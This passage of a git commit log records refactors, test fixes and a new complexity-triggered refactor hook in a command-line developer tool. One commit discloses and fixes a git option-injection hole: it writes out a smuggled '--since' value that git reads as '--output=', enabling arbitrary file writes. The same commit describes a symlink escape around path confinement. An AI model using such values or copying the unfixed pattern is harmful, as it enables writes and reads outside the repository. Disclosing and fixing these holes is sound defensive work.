are removed in sequence and the second removal targets the last line.

Two of the four new cases are honestly not red-first and say so in
their comments: removing a last line that HAS a trailing newline only
exposes the bug under mixed EOL, since uniform files coincidentally
have equal terminators on both sides; and removing the only line
already degenerated correctly through Array.slice. They are kept as
guards for the new branch rather than dressed up as catches.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3243): document the codex repair path and close the loop

How-to: the Codex-400 entry added in Phase 2 told users to re-run the
installer, because that was the only repair available then. It now leads
with `effort sync` and keeps the reinstall as the alternative, with the
reason to prefer one — a reinstall regenerates the agent files
wholesale, so anyone who hand-edited theirs loses those edits. Detect,
preview, apply is now one continuous path in one place.

Reference: docs/COMMANDS.md had no `effort sync` entry at all — the same
gap `validate agents` had in Phase 2, found the same way. The entry
documents BOTH runtimes, because the command genuinely forks on runtime
and describing only the new half would misdescribe it.

The write flag is `--apply`. The design doc and test matrix both said
`--no-dry-run` throughout, which does not exist — verified against the
actual arg parser in gsd-tools.cjs before writing. Documenting a flag
that does not exist is worse than documenting nothing, because it fails
at the moment someone needs it.

Both surfaces state that only the targeted lines are removed and every
other byte is preserved. That is a user-visible guarantee rather than an
implementation note: it is the difference between a two-line diff and a
reformatted file in someone's dotfile repo, it is what the IR's
round-trip property exists to deliver, and writing it down makes it a
contract a future change has to break knowingly.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3243): inherit the trailing-newline state, not the line ending style

My previous rule was subtly wrong and this phase's own test caught it.

"The new last line inherits the removed line's terminator" copies the
removed line's STYLE as well as its presence. A26 uses mixed endings on
purpose — line one terminated \r\n, the model line terminated \n — so
inheriting silently rewrote line one's ending to \n. That is precisely
the defect class the mixed-EOL blocker fix existed to eliminate,
reintroduced one layer down by the fix for it.

The correct rule inherits the EMPTINESS only. If the removed line had no
terminator, the new last line loses its own, preserving "this file has
no trailing newline". Otherwise the new last line keeps its own
terminator: it is already a newline, and already the right style for
that line.

A26's assertion moved too, and that deserves saying plainly rather than
burying: it previously encoded my wrong rule. Changing a test to match
the implementation is usually the mistake, so it was checked from first
principles instead — a file whose first line ends \r\n and whose last
line ends \n, with that last line removed entirely, must be the first
line with its own \r\n intact. The new expectation is what the user's
file should actually look like; the old one was wrong.

A29 adds the interaction nothing covered: the compounding case (strip a
stale model, then its orphaned effort, the second removal landing on the
last line) with non-uniform endings either side. The two fixes meet
there and nothing exercised the meeting point.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3243): drop the phantom trailing line from the IR representation

Root cause, not another patch on the removal rule. Three consecutive
fixes there each surfaced the next issue, which was the signal that the
data model was wrong.

splitPreservingTerminators left a phantom empty final entry for any file
ending in a newline: "a\nb\n" became lines ['a','b','']. So for the
common case the real last content line was NOT the last array element,
removeLine's isLastLine check never matched it, and every rule I gave
was reasoning about the wrong element.

What hid it: render was already a plain concatenation, so a phantom
empty line with an empty terminator contributes nothing to the output.
A14's byte-identical round-trip could never have caught it — the defect
is byte-neutral until a removal shifts the index arithmetic under it.
That is worth recording, because "the round-trip test is green" was
exactly the reassurance that kept the search pointed elsewhere.

The representation is now 1:1 — terminators[i] follows lines[i] and may
be '' — with no phantom, verified across empty, no-trailing-newline,
trailing-newline, blank-line and mixed-CRLF inputs. render stays a plain
concat and needs no special cases. With the phantom gone the removal
rule is correct as stated and finally applies to the genuinely last
element.

Consumers checked rather than assumed: the block-range detector and
header scanner are agnostic to array shape, and Phase 2's reader uses
its own independent split, so tests/agent-install-check.test.cjs is
untouched and still passes unchanged.

One test expectation was wrong and is corrected rather than quietly
adjusted: A18 asserted a 7-element terminators array whose trailing ''
was the phantom itself. It now asserts the six real terminators, which
is what the invariant lines.length === terminators.length requires.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3243): backfill changeset pr number (#3296)

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-10 01:31:15 -04:00
Tom Boucher
c28134ab39 fix(#3271): delete 25 duplicated folded test suites and fix three runner defects found doing it (#3285)
* test(#3271): guard against a folded suite appearing twice in one host

Adds local/no-duplicate-fold-marker, an AST rule that reports the second and
every subsequent `folded:<name>` marker in a host file, plus RuleTester cases
and a tree-wide regression assertion.

Failing-first on purpose: the rule is registered at error and the 25 duplicated
regions are still present, so eslint and the new tree-wide test are RED. The
deletions land in the next commit.

The marker key is the whitespace-delimited token after `folded:` — not the
issue's `[a-z0-9-]*` slice, which truncates at `.` and false-positives on
tests/model-resolver.test.cjs where feat-443-effort-fast-mode.integration and
feat-443-effort-fast-mode are two distinct folded suites.

Refs #3271

* fix(#3271): delete 25 duplicated folded suites from three install hosts

Three consolidated install suites each carried a verbatim second copy of a
contiguous run of #1969 B1 folded blocks. Byte-identical, constant offset, and
green — each duplicated block registered and ran twice on every lane.

  tests/install.test.cjs                   5981-9937  (3957 lines, 18 blocks)
  tests/install-minimal-hooks.test.cjs     2734-4015  (1282 lines,  5 blocks)
  tests/install-write-confinement.test.cjs 1754-2321  ( 568 lines,  2 blocks)

Introduced by 6d072435d (#1975 re-applying #1970's hunks on a tree that already
had them, 2026-07-03) — one stale-base re-application, three files, one commit.
Verified by marker-count bisect: 1 at 4f779eda4 and 0cc7a1a42, 2 from 6d072435d
onward.

The later copy is deleted in each case, so every file returns to what its
authoring batch produced and blame on the surviving lines stays accurate.
local/no-duplicate-fold-marker, red on the previous commit, is now green.

tests/model-resolver.test.cjs is untouched: the issue lists it, but its two
blocks are folded from two different files and are not identical. It is a false
positive of the issue's own grep, whose `[a-z0-9-]*` key truncates at `.`.

Fixes #3271

* test(#3271): property-test marker identity and pin the alias non-goal

Three review findings, all fixed inline:

1. foldMarkerOf is a parser and carried no fast-check property test. Raised
   independently by the /code-review standards axis and the isolated adversarial
   pass; the file already establishes the fc.property-driving-ruleTester idiom
   for a sibling rule. Added, two arms over markers generated from [a-z0-9-._]:
   the same marker twice always reports exactly once against firstLine 1, and
   two distinct markers never collide. The alphabet includes `.` on purpose —
   an implementation keyed on the issue's [a-z0-9-]* slice passes arm 1 and
   fails arm 2, which is exactly the model-resolver false positive.

2. meta.docs.category was the novel value 'Test hygiene'; all 16 sibling local
   rules use 'Best Practices', 'Portability' or 'Reliability'. Now
   'Best Practices'.

3. A call through a further alias (const d = __foldDescribe) was unreported and
   undocumented — accidental rather than deliberate. It is now the fourth entry
   in the rule's documented non-goals, with the reason, and pinned by a valid
   RuleTester case so it cannot drift silently.

Refs #3271

* test(#3271): name the step and elapsed time when a baseline build fails

buildBaselineAtRef runs four bounded steps and, when one exceeded its bound,
threw a bare "spawnSync ETIMEDOUT" naming neither the step nor how long
anything took. Diagnosing one real failure took four separate experiments to
recover information the throw already had.

Each step is now timed, and any throw carries the breakdown: which step failed,
its elapsed time, the timings of every step that completed before it, all three
bounds, and the tail of the child's captured stdout/stderr.

The failure message is deliberately the carrier. On the remote runner the
captured output field comes back empty in failures.json while error and stack
survive verbatim, so the message is the only channel that reaches a reader of a
remote verdict.

Refs #3271

* fix(#3271): size the baseline generator bound for the machine it runs on

Instrumentation from a real remote-runner failure gave the breakdown:

  git-worktree-add=15.1s  npm-run-build-lib=19.8s  gen-emitted-baseline=FAILED@300.1s

Steps 1 and 2 are comfortable. Only the generator exceeds its bound, and it is
not hung — it needs more than 300s there.

Measured ladder for that step: ~22s idle in a container, ~39s end-to-end in a
clean container, ~142s with 8 CPU burners on 8 cores, and >300s under the real
suite. Its cost is 19 sequential installer spawns, and spawn latency is exactly
where a container degrades worst (3.9x slower than host, against 1.1x for file
IO) — which is why a CPU-only load test did not reproduce it and why four
earlier hypotheses (container slowness, network, shallow clone, CPU contention)
all measured clean.

The 300s bound was sized on an idle machine for a step that never runs on one.
Under the remote runner the on-disk baseline cache is structurally absent — CI
restores it via actions/cache keyed on github.event.pull_request.base.sha, a key
that exists only inside GitHub Actions — so this slow path runs on every remote
verification. The result: this gate has passed 0 times in 754 runs, failing 80
times and never once executing successfully.

Raised to the 600000ms ceiling that local/no-unbounded-spawn treats as the
largest meaningful bound; the other two bounds are untouched. This makes the
gate RUN, which is the point: the alternative considered and rejected was
degrading the timeout to a skip, and that was measured to turn the suite green
with the gate silently not running at all.

The real remedy is making the cache reachable from the remote runner so the
in-job build returns to being the rare fallback ADR-2719 §5 describes. That is a
gsd-test-runner change, not one this repo can make.

Refs #3271

* fix(#3271): tolerate an overlay source that vanishes mid-walk

Observed on the remote runner, three runs across three different branches:

  ENOENT: no such file or directory, link '/work/hooks/dist/gsd-config-reload.js'
    -> '/tmp/gsd-2930-overlay-6nOZay/hooks/dist/gsd-config-reload.js'

buildOverlayRepo enumerates names with readdirSync and then acts on each one, so
statSync, copyFileSync and linkSync all sit in a TOCTOU window. hooks/dist is
regenerated by an ATOMIC REPLACE (scripts/build-hooks.js unlinks and renames), so
any concurrently running test that rebuilds hooks retires a just-listed name
mid-walk and the overlay dies on it. linkOrCopyFile already tolerated EXDEV and
EPERM; ENOENT went straight through.

On ENOENT the source is now re-examined ONCE rather than slept on. An atomic
rename is a single syscall, so by the time the failure surfaces the successor is
either already in place (the retry succeeds) or the path has genuinely left the
tree, in which case there is nothing to mirror and the leaf is skipped. No sleep
and no spin: a timing-based wait here would be the very flake being fixed. Every
other errno still propagates untouched, so a real permission or IO fault stays a
hard failure.

Five tests hold the boundary: gone-for-good skips without retrying, mid-replace
retries exactly once and places the file, EACCES still throws, a real linkSync
ENOENT is injected by monkeypatching fs and restoring it in a finally (never a
mode-bit trick, which root bypasses), and isMissingPath accepts only ENOENT.

Refs #3271

* fix(#3271): order the timeout ladder inward-out and lock it

Two review blockers, both real.

The generator bound had been raised to 600000ms — exactly the whole-chunk timeout
in scripts/run-tests.cjs:973. A step bound equal to the chunk ceiling loses the
race: the chunk is killed first and the failure arrives as an opaque "no failed
step" kill, so the per-step diagnostic added a commit earlier was built and then
made unreachable in the same change.

Separately the #2767 test declared a per-test timeout of 300000ms, BELOW the
inner bound it was meant to permit, so it could still die at the exact 300s
ceiling this was supposed to lift — via node:test's timeout rather than
spawnSync's. Its sibling declared 900000ms, above the chunk ceiling, which is the
same opaque-kill hazard from the other direction.

The three bounds only produce a useful failure if they fire inward-out, so they
now do: step 360s, per-test 480s, chunk 600s. 360s is ~3x the passing observation
(91.6s / 115.8s) and 20% above the censored 300.1s timeout, while leaving 240s of
chunk headroom for every other file sharing it. Four tests lock the ordering,
including a drift guard on the exported values — without it, editing a call
site's literal timeout would leave the ordering assertions passing while the real
ladder inverted.

Also from review:

- err.gsdBaselineStep and err.gsdBaselineTimings were written and never read
  anywhere in the tree; only the rewritten message is consumed. Removed rather
  than kept as speculative surface.
- buildOverlayRepo discarded placeVanishableLeaf's boolean at both call sites, so
  a vanished leaf left the overlay with no accounting at all. It now collects the
  skipped paths and warns once. Not thrown: a source that left the tree really is
  not part of the snapshot, and throwing would reintroduce the crash the
  tolerance removes — but silence would let a dropped leaf resurface later as an
  unrelated missing-file assertion.
- The instrumentation commit shipped no test. One now drives a real failure and
  asserts the message names the step, its elapsed time, and the bounds.

Refs #3271

* chore(#3271): backfill the changeset PR number

* fix(#3271): bound a hook fan-out as its own class, not as a bare probe

CI failure on PR #3285, job full test (windows-latest, 22, shard 2/3) — every
other lane green, including windows-latest node 24 across all three shards:

  not ok 1 - blocks push when any to-be-pushed commit matches local blocked regex
    error: bash .githooks\pre-push failed — outcome=timed_out exitCode=null stderr=
    duration_ms: 15040.2168

A bound, not a hang: the test supplies stdin via input:, so the hook is not
blocked reading its ref list, and the duration lands exactly on the 15000ms
bound.

The site used PROBE_TIMEOUT_MS, which tests/helpers/timeouts.cjs documents as "a
single short CLI query or node -e probe against a temp fixture". This is not
that. It spawns bash running .githooks/pre-push, and the hook then invokes a MOCK
git that is itself a bash script, so one runHook is roughly four Git Bash spawns.
On Windows each is Defender-scanned and the first hook test in a file pays cold
start on top. That module's own docstring warns against precisely this: a call
site that differs from its class must not be forced onto a shared value that does
not describe it.

HOOK_FANOUT_TIMEOUT_MS is that missing class — 60000ms, 4x the bound that failed
and half INSTALL_TIMEOUT_MS, which is the right order: a hook fan-out is much
lighter than a full installer run and far heavier than reading back a version
string. Two tests lock the ordering against both neighbours, including one
asserting real margin over the censored 15040ms observation, since a bound that
merely matched what was measured would be the same defect again.

Scoped deliberately: the other ~360 runHook sites keep their current bounds. This
adds the norm and applies it where a real failure demonstrated the need, rather
than sweeping a value across sites with no evidence for any of them.

Refs #3271

---------

Co-authored-by: sim <sim@local>
2026-08-09 23:41:44 -04:00
Rezolv
2dbee3ebdd enhance(#2229): add three-way claim disposition (admit/refute/abstain) to /gsd-explore research pass (#2543)
Closes #2229.

Each claim surfaced by /gsd-explore's research pass is dispositioned admit, refute, or abstain, with abstentions routed to a visible ledger instead of being smoothed into confident prose. Refute and abstain are separated by whether the disagreeing source is authoritative for that claim; a strong prior is never authoritative alone.

Two guards ride with it: conflict-abstention, and a tier floor that presents a would-be admit as an abstain when the researcher's resolved tier is the budget tier or cannot be determined.

To make that floor enforceable, resolve-model now emits the effective tier (--pick tier). It was already computed above the resolve_model_ids omit gate but was unreachable from a workflow, which left the floor inert on every non-Claude install - the model id is blank under omit and runtime-substituted where a tier map exists, and the profile defaults to balanced. The tier signal mirrors every resolution step that can change which tier runs, including the model_policy preset, and reports unknown rather than guessing. Output is additive; model, profile and effort are unchanged.

Two residuals are disclosed in the workflow rather than papered over: a raw-model-id model_overrides pin reports unknown and is floored (fails closed), and a model_profile_overrides entry repointing a tier at another tier's model can under-report (fails open, and predates this change).

Admin merge used only to satisfy the missing secondary reviewer on a single-maintainer PR. No CI failure and no conflict were bypassed: 38 checks green, remote runner 32255/32255 on both Node lanes.
2026-08-09 23:05:41 -04:00
Tom Boucher
693f12ad56 refactor(#3187): give state field extraction one canonical owner (#3283)
* refactor(#3187): give state field extraction one canonical owner

stateFieldValue in state-document.cts becomes the single owner of the #1760
frontmatter-then-body fallback chain. The new whole-repo guard found 14
independent re-derivations where the epic scoped 5, all now routed through it:
cmdStateSnapshot (11), cmdStatePrune (2) and smart-entry fmScalar (1).

state validate was a gate that could not fail. Every warning it could emit sat
behind a phase resolved without the frontmatter tier, so a STATE.md whose phase
lives only in frontmatter skipped the drift scan entirely and returned
valid:true. It also read unstripped content, letting a frontmatter status: key
shadow the body field (#1255 class). Both fixed; output gains a scope field so
could-not-look stops being output-identical to looked-and-clean.

Verified on the remote runner.

* docs(#3187): document the state validate scope field and its reason codes

Adds docs/how-to/interpret-state-validate-results.md so a reader can tell
nothing-to-report from could-not-look, updates the COMMANDS.md and USER-GUIDE.md
entries, corrects the CONTEXT.md glossary overstatement about Current Position
sole ownership, and drops the changeset fragment.

* fix(#3187): close three drift-guard evasion shapes and test the refuse path

The isolated adversarial review found the ladder detector was evadable by
ordinary reformatting, not just deliberately: a member or computed operand
(fm.key / fm[key]) missed the bare-identifier backreference, a swapped tier
order missed a hardcoded number-then-boolean sequence, and a ladder wrapped
across lines missed single-line detection. All three now caught, each with its
own test plus a proven boundary control.

The frontmatter-parse refuse path on the destructive complete-phase route was
unreachable and therefore untested. It is now driven by an injected parse
failure and asserts STATE.md is byte-identical after the refusal, rather than
shipping untested defensive code on a path that rewrites user state.

Verified on the remote runner.

* fix(#3187): widen the drift guard to the prompt layer and disclose tier-2 changes

The code-review spec axis found the guard's scan surface was src/ only, which is
Decision 4(d)'s forbidden allowlist one directory wide - and it had a live miss:
gsd-core/workflows/smart-entry.md tells an agent to read status from frontmatter
or the body, a prose expression of this same chain. The surface now covers the
prompt layer. That one site carries a permanent written exemption rather than a
ratchet: it is the gsd-tools-is-down fallback, so it cannot call the owner by
construction, and a ratchet would imply removable debt that does not exist.

Two tier-2 output changes shipped undisclosed and are now named in the changeset
and docs: complete-phase's idempotency guard consulting frontmatter, and the
workstream inventory resolving frontmatter-only fields. docs/COMMANDS.md gains a
state complete-phase entry, which it never had.

Also records Amendment 5 on ADR-3180, extracts the duplicated frontmatter-parse
block the epic's own thesis forbids, and re-points two assertions from free-form
warning prose onto the structured drift object.

Verified on the remote runner.

* chore(#3187): backfill changeset PR number

pr:0 placeholder replaced with the real PR number now that #3283 exists.

---------

Co-authored-by: sim <sim@local>
2026-08-09 22:49:39 -04:00
Tom Boucher
cf6de5e1c0 feat(#2871): resolve triggers and host precedence, not just placement (#3291)
* test(#2871): failing-first suite for trigger-surface resolution

23 tests over the 50-test-matrix rows. RED by construction:
resolveTriggerSurface and DEFAULT_TRIGGER_PRECEDENCE do not exist yet,
and the validator silently ignores triggerPrecedence today.

Written in the per-runtime describe idiom the other four
runtime-artifact-layout suites use, not a table.

The rows that carry the weight: windsurf must NOT report a shadow it
does not have, since its global scope emits only agents and agents are
not trigger-bearing; agents and kimi-agents must be absent from the
output for every runtime; and reordering a runtime's triggerPrecedence
must flip the winner, which is the only assertion that proves the axis
is read rather than decorative.

Stems are injected, never scanned, so the surface is assertable with no
filesystem.

* feat(#2871): resolve triggers and host precedence, not just placement

resolveTriggerSurface(runtime, scopes) returns every /gsd-<name> trigger
a runtime emits, with the scope and kind that produced it, whether the
host registers it directly or only through a router, and which artifact
shadows it. resolveRuntimeArtifactLayout is untouched -- its 7 callers
need placement only and the issue requires them unchanged.

AGENTS ARE NOT TRIGGER-BEARING, and ADR-2866 said they were. The
host-integration matrix models command and dispatch as separate interface
points: an agent is invoked through the Agent tool's subagent_type, not
by typing a slash trigger, and _copyStaged never applies the kind prefix
to an agents entry. So agents and kimi-agents are excluded from the
surface entirely, and this commit amends ADR-2866 with a dated
correction. #2218's conclusion is unchanged -- the collision is strictly
commands-vs-skills, and claude's local /gsd-* trigger surface is still
fully shadowed -- but the ADR implied the local agents surface was lost
too, and it is not.

That correction is what makes windsurf come out right. Its global scope
emits only agents, so it has no global trigger and its local commands
are unshadowed. Model agents as trigger-bearing and windsurf falsely
reports a full shadow.

The triggerPrecedence axis lands on all 19 descriptors as an ordered
kind list, one value with one owner, rather than a numeric rank spread
across N kind entries with nothing keeping them consistent. Validation
uses a required-with-default shape that has no precedent in this
validator -- every existing axis is hard-required -- so a third-party
capability.json omitting the field still validates, which is what
ADR-894's additive-only contract promises.

Winner resolution reads Phase 1's scope rank first, then the kind
ordering. A test reorders the axis and asserts the winner flips, since
an axis that is added, validated and never consulted would pass every
other assertion.

shadowedBy ships unread. Phase 4 (#2873) is its first consumer, per this
issue's out-of-scope note.

Verified via the remote runner.

* fix(#2871): single-source namespacedByDir and close two test gaps

Four findings from the isolated adversarial review.

The namespacedByDir rule had reached three copies -- install-engine,
surface, and the new trigger resolver -- one of which carried a
hand-written keep-in-sync comment and no assertion. That is this repo's
generative-fix-divergence class. Extracted to one exported predicate all
three now call. Verified by diverging one copy deliberately: the existing
#816 parity test failed, and passes again on revert.

The omission test was vacuous. Row 16 asserted that a descriptor without
triggerPrecedence still validates, but built its fixture from claude's
shipped descriptor -- which this PR had just added the axis to. It now
clones and deletes the key, following the shippedDescriptorWithout
pattern, and asserts both that validation passes and that the resolver
still picks the right winner from the default. The second half is what
makes it prove anything.

resolveTriggerSurface silently dropped an unrecognized scope while every
sibling in this epic throws. Two phases of one epic should not disagree
about whether an invalid scope is an error, so it now rejects through the
same shared validator; an empty scope list still returns empty rather
than throwing.

The ADR amendment had been spliced into the middle of the References
list, orphaning its last bullet. Moved to the top, after the header
block, which is where ADR-3660 and ADR-1016 both put dated amendments.
No lint checks markdown structure, so this was green while malformed.

* fix(#2871): single-source the command filename composition too

The earlier fix shared the namespacedByDir boolean but left the
filename composition around it written twice -- once in _copyStaged as
what actually gets written, once in resolveTriggerSurface as what gets
predicted. The predictor could go stale silently.

One exported helper now composes it for both. The entry.name asymmetry
that looked like it would block extraction does not: entry.name is
filtered to end in .md and stem is entry.name minus those three
characters, so the two branches are the same string by construction.

Divergence proven to fail: injecting a marker into the helper broke the
trigger-surface suite; reverting restored 25/25. The four sibling layout
suites hold at 227 unchanged.

* docs(#2871): correct the ADR timing notes that this phase makes stale

The Amended by back-links on ADR-3660 and ADR-1016 were written in
Phase 0, when the widenings they describe had not shipped. Each carried
a forward-looking clause -- "the module changes at Phase 2, not before,
until then this module resolves placement only" -- which becomes false
the moment this PR merges. ADR-2866's own Amends header and its
reciprocal-notes section carried the same tense.

All four now describe what shipped. This is a tense and status
correction on Accepted ADRs, not a change to any decision.

Worth stating because it is the failure mode this epic keeps meeting:
gen-adr-index.cjs tracks only Supersedes and Subsumes, so nothing in CI
would have caught either the missing back-link in Phase 0 or these stale
clauses now. They stay correct only because someone checks.

* chore(#2871): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-08-09 22:25:42 -04:00
Tom Boucher
c2f24265f2 feat(#2870): resolve install scope as a value (#3278)
* test(#2870): failing-first suite for the Install Scope Module

19 tests over the 50-test-matrix rows 1-19. RED by construction: the
module under test does not exist yet, so the suite fails at require with
MODULE_NOT_FOUND until src/install-scope.cts lands.

Every row asserts a returned value with injected env/home/existsSync --
no filesystem, per the issue's acceptance criterion that tests assert the
resolved value directly.

Row 7 asserts the RELATION rank(global) > rank(local) rather than a
literal, so Phase 2 (#2871) can re-base the numbers without a fixture
edit. Row 4 iterates the real runtime registry rather than a hardcoded
list, excluding vscode, which declares configHome.kind none and is never
CLI-installed.

* feat(#2870): add the Install Scope Module

Scope becomes one resolved value instead of a bare string re-derived at
every layer. resolveScope({id, runtime, ...}) returns
{id, configHome, settingsFile, consentRequired, hostPrecedenceRank}.

It COMPOSES resolveConfigHomeFromDescriptor rather than extending it.
That function has 60 dependents across 13 files and 2 process flows -- a
CRITICAL blast radius -- so adding a scope parameter to it, which the
issue's framing invites, would ripple through all of them. Composing
costs nothing and leaves every existing caller byte-identical.

The module owns the InstallScope type name, which previously lived
privately in runtime-artifact-install-plan.cts; that module now imports
it. A fifth spelling of the same concept would have defeated the phase.

settingsFile is null for the 18 runtimes that declare no
settingsFileByScope -- absence is a value, not an error, and inventing a
Claude-shaped default would leak that host's shape onto every other one.

hostPrecedenceRank ships unread: Phase 2 (#2871) is its first consumer.
It is carried as data only, per this issue's out-of-scope note that
precedence semantics belong to that phase.

Vocabulary: the install axis standardizes on local. ConsentRecord.scope
keeps project deliberately -- that literal is serialized into consent
records in the user's home, and renaming it would silently deactivate
every project-scoped capability on the machine. CONTEXT.md records the
boundary mapping instead.

Every environmental input is injectable (env, home, existsSync, cwd), so
the resolved value is assertable with no filesystem at all.

Registration ripple: .gitignore, eslint.config.mjs, CONTEXT.md glossary,
docs/INVENTORY.md, and the inventory manifest (regenerated after
build:lib, never before).

Verified via the remote runner.

* refactor(#2870): route scope re-derivations through the module

bin/install.js resolves scope once per function instead of inline at
each of its 12 sites, and the settingsFileByScope consumer reads it
through resolveScope().

Seven downstream boolean re-derivations now call the module's
isGlobalScope() instead of comparing the literal independently:
runtime-artifact-install-plan, both runtime-artifact-layout kind
builders, dispatchKindEntry, surface, and two install-engine sites. The
fifth through seventh were not named in the issue -- they are the same
re-derivation class, and leaving them would have made the acceptance
criterion false.

_computePathPrefix keeps its isGlobal boolean API, so the projection is
centralized rather than eliminated. resolveScope and isGlobalScope share
one validator, so the two surfaces cannot drift.

TWO SITES DELIBERATELY NOT ROUTED: runtime-artifact-conversion's
rewriteStagedSkillBodies and rewriteStagedCommandBodies. ADR-1508 fixes
the direction as installer/layout -> conversion, never upward, and
install-scope composes runtime-homes, so importing it into the
conversion module would invert that direction. Left as-is on purpose.

Behavior-preserving throughout. Each step was proven by capturing full
layout and plan output -- including every kind's home field and the
hashed contents of emitted files -- before and after, across both scopes
for claude, codex, opencode, hermes, kimi and kilo. Byte-identical.

surface.cts keeps a scope ?? 'global' default before the call because
Layout.scope is optional there; isGlobalScope throws where the old
inline compare returned false, and that difference would have been a
placement regression.

Verified via the remote runner.

* fix(#2870): cover the no-config-home throw and document the strictness

Two findings from the isolated adversarial review.

The vscode case was implemented but untested. resolveScope throws for a
runtime whose descriptor declares configHome.kind 'none', which is the
design's own behavior-table row 13, but the registry sweep excluded
vscode rather than asserting the throw -- so the behavior shipped with
no test. The exclusion is now legitimate because the case has its own
test naming the runtime in the assertion.

isGlobalScope throws where the inline compare it replaced returned
false. No reachable caller can deliver an out-of-union value today, but
the types are not enforced at runtime, so a future caller passing an
optional Layout.scope would crash rather than silently misroute. That is
the better failure -- misrouting writes artifacts to the wrong place --
but it was undocumented, so the reason is now on the function.

Adds the changeset the acceptance criteria require.

* refactor(#2870): route the last two sites; correct the ADR-1508 claim

The previous commit declined to route runtime-artifact-conversion's
rewriteStagedSkillBodies and rewriteStagedCommandBodies, claiming
ADR-1508's dependency direction forbade the import. That reasoning was
wrong, and this commit corrects it.

Two independent reviewers checked the actual import graph:
runtime-artifact-conversion already imports capability-registry,
command-roster, runtime-name-policy and shell-command-projection -- it
depends on leaf-tier siblings today. install-scope imports only
runtime-homes plus node builtins, and runtime-homes imports only node
builtins, so there is no cycle at any depth. ADR-1508 governs the
installer/layout to conversion boundary, not a leaf-to-leaf sibling
import of the same shape conversion already makes.

With those two routed, every isGlobal re-derivation in the tree now goes
through one owner and acceptance criterion 1 is fully met rather than
partially. Nine sites, not the four the issue enumerated.

Also from the review:

Tests were falling through to the real process.cwd() at five local-scope
call sites, which contradicts the acceptance criterion that the resolved
value be assertable with no filesystem. Every one now injects a cwd. One
of the five was a site the review had not spotted.

bin/install.js carried two near-identical copies of the guarded
resolveScope block, one in install() and one in uninstall() -- duplicated
scope logic in the phase whose purpose is removing it. Extracted to one
helper, and the new sites use the file's existing ternary idiom rather
than the if/else that replaced it.

Equivalence re-proven across both scopes for claude, codex, opencode,
kilo and hermes, now including the staged skill and command body
rewrites hashed per file, since those decide the literal spec-root path
baked into every emitted artifact. Byte-identical.

Verified via the remote runner.

* fix(#2870): assert configHome portably instead of with a native separator

The windows-latest node24 shard failed on two install-scope assertions.
The module was right and the tests were wrong: they built their expected
value with path.join, which emits \fake\home\.claude on Windows, while
resolveScope normalizes separators unconditionally to /fake/home/.claude.

That unconditional normalization is deliberate -- backslash paths arrive
on Linux too, so normalizing via path.sep is the documented defect this
repo guards against. Weakening it to make the assertion pass would have
inverted the fix.

Every path.join-built expectation in the suite now goes through
toPosixPath from tests/helpers.cjs, which is the pattern the
no-path-literal-in-assert rule's own valid-case list sanctions. It splits
on the running platform's path.sep and rejoins with forward slashes, so
it reverses whatever path.join produced on that same platform and the
expectation is invariant everywhere.

Two more call sites had the same latent problem and passed on Linux and
macOS by luck; they are fixed too.

This is the class of defect the remote runner structurally cannot catch
-- its matrix is Linux-only, so a green pass there is not evidence of
portability, and CI's Windows lane is the only place it surfaces.

Verified via the remote runner.

---------

Co-authored-by: sim <sim@local>
2026-08-09 20:16:23 -04:00
Tom Boucher
b901d1e06f feat(#1953): complexity-triggered refactor extension point (execute:post) (#3261)
* test(#1953): failing-first suite for the complexity-triggered refactor hook

60 behavioral cases against src/complexity-trigger.cts, which does not exist yet:
decision-point counting, the comment/literal stripping leak surface, threshold and
jump-delta boundaries at limit-1/limit/limit+1, stable-anchor baseline semantics,
and fs fault injection via mock.method. Two fast-check properties assert that
stripping never manufactures a decision point and that comments and string
literals are score-neutral.

Also registers the refactor-trigger capability manifest (inert until
refactor.trigger_enabled) and regenerates the capability registry and matrix.

Verified RED on the remote runner before any implementation exists.

* feat(#1953): complexity-triggered refactor extension point

Adds the opt-in refactor-trigger capability. After a phase executes, an
execute:post step measures per-function complexity for the files the phase
touched and writes a scoped refactor proposal when a function crosses the
configured threshold or drifts past its recorded anchor.

Design notes worth carrying:

- The signal is computed in-core (decision-point counting over comment- and
  literal-stripped source, Node builtins only) rather than via Memtrace or a
  shelled-out analyzer. The hook fires as a deterministic CLI, not an agent
  with MCP tools, and core takes no external dependencies — this is the only
  option a behavioral test can bind to. The metric sits behind a seam.
- The baseline is a stable anchor, not a rolling value: set on first
  observation, moved only on disposition. A rolling baseline makes the delta
  the single-phase change, so a function creeping +2 per phase never trips a
  delta of 5 and the jump check adds nothing over the absolute threshold.
- Strict mode records an open deviation window in the broken-windows ledger
  rather than declaring its own ship:pre gate. ship.md has no generic ship:pre
  gate dispatch — only two hardcoded branches — so a third gate of any kind
  would be declared and never evaluated.
- The gate clears on the proposal being dispositioned, never on the score
  improving. A blocking complexity number is one an executor can satisfy by
  splitting a coherent function in two.

execute-phase.md gains a generic execute:post step-dispatch contract; it
previously matched only ref.skill == "code-review", so any other step
registered there was declared and never run. The code-review branch is
unchanged.

Full rationale in ADR-1953.

Closes #1953

* fix(#1953): close git option injection and symlink escape in the refactor hook

Three findings from the isolated security review, all fixed inline.

HIGH — changedFilesSince interpolated the --since value into a revision
token placed before the -- separator. A -- only stops PATHSPEC parsing of
arguments after it; git still option-parses what comes before. So
--since '--output=/tmp/x' became --output=/tmp/x..HEAD, which git accepts
as --output=<file> and uses to redirect diff output — an arbitrary write.
Fixed with --end-of-options before the revision range plus a conservative
ref validator. The validator deliberately permits ~ ^ @ { } because those
are legitimate git REVISION syntax (HEAD~1, main@{yesterday}) as distinct
from ref-NAME syntax; --end-of-options is the actual barrier. The doc
comment asserting the trailing -- was sufficient was wrong and is corrected.

MEDIUM — resolveConfinedPath confined by string prefix only, so a symlink
committed inside the repo passed the check (its own path is under cwd) and
readFileSync then followed it outside the root. Now lstat-checks for a
regular file and skips anything else with REFACTOR_FILE_UNREADABLE, so one
bad path skips one file and the run continues.

LOW — the new execute:post dispatch contract showed the gsd_run example
before the rule requiring ref.command be validated first. That prose is
executed by an agent, so textual order is execution order. Reordered.

Refs #1953

* fix(#1953): make the analyzer able to see TypeScript at all

Found by running the shipped analyzer over its own source: it reported
functions=1 for a 940-line module with 24 function forms. A return-type
annotation or a generic parameter list made a function invisible —
`function f(a): number {}` and `function f<T>(a: T): T {}` both detected as
